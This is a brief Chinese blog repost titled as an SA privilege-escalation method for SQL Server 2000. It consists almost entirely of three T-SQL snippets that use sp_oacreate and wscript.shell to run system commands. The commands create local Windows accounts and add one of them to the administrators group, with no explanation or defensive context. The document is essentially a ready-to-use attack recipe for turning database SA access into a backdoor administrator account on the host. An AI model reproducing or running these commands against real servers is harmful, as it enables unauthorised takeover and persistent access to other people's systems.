sql 2000 数据库SA提权方法



declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod 
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user wbj wbj /add'


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net user 123 123 /add'


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net localgroup administrators 123 /add'



猜你喜欢

转载自blog.csdn.net/ztlove9481731/article/details/7389072